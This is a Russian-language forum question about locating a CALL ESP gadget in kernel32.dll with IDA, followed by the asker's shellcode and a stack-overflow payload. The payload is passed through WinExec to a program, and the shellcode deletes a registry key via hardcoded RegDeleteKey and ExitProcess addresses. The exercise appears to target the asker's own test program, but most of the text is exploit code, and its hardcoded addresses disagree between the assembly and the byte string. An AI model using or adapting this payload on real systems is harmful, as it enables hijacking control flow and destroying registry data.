Адрес инструкции CALL ESP - Assembler
Формулировка задачи:
Здравствуйте, подскажите пожалуйста, как найти адрес инструкции CALL ESP в библиотеке kernel32.dll? Учусь пользоваться IDA'ой но никак не получается. Открываю библиотеку с помощью IDA'ы, дальше Hex View и ищу FF D4. Но дело в том, что подобных сочетаний там много, чистого FF D4 нигде нет, есть 41 FF D4. Да и их адреса почему-то постоянно меняются. В начале показывает 00000001800BCA20, потом после переключения на IDA View и обратно показывает 00000001800BCA27, после переключения на Structures и обратно показывает 00000001800BCA28.
И ещё. Был написан шелл-код, который должен удалять ключ реестра. Может кто проверить, правильно ли он написан?
push ebp
mov ebp, esp
lea eax, [ebp + 36] #+байты шеллкода
push eax
xor eax, eax # не читать нули
add eax, 1
shl eax, 31
add eax, 1
push eax
mov eax, 74E93C39h # адрес функции RegDeleteKey
call eax
mov eax, -1
push eax
mov eax, 76C139E4h # адрес функции ExitProcess
call eaxWinExec("D:\\11prjct.exe "
"123456789012"
// тут будет адрес возврата
"\x55"
"\x8B\xEC"
"\x8D\x45\x24" // + добавить байты для шеллкода
"\x50"
"\x33\xC0"
"\x83\xC0\x01"
"\xC1\xE0\x1F"
"\x83\xC0\x01"
"\x50"
"\xB8\xC8\xC9\xB5\x74" // адрес функции RegDeleteKey
"\xFF\xD0"
"\xB8\xFF\xFF\xFF\xFF" // mov eax, -1
"\x50"
"\xB8\x64\x7F\x14\x76" // адрес функции ExitProcess
"\xFF\xD0"
"test", SW_SHOW);Решение задачи: «Адрес инструкции CALL ESP»
textual
Листинг программы
RegDeleteKey(HKEY_CURRENT_USER,(char*)ebp+36);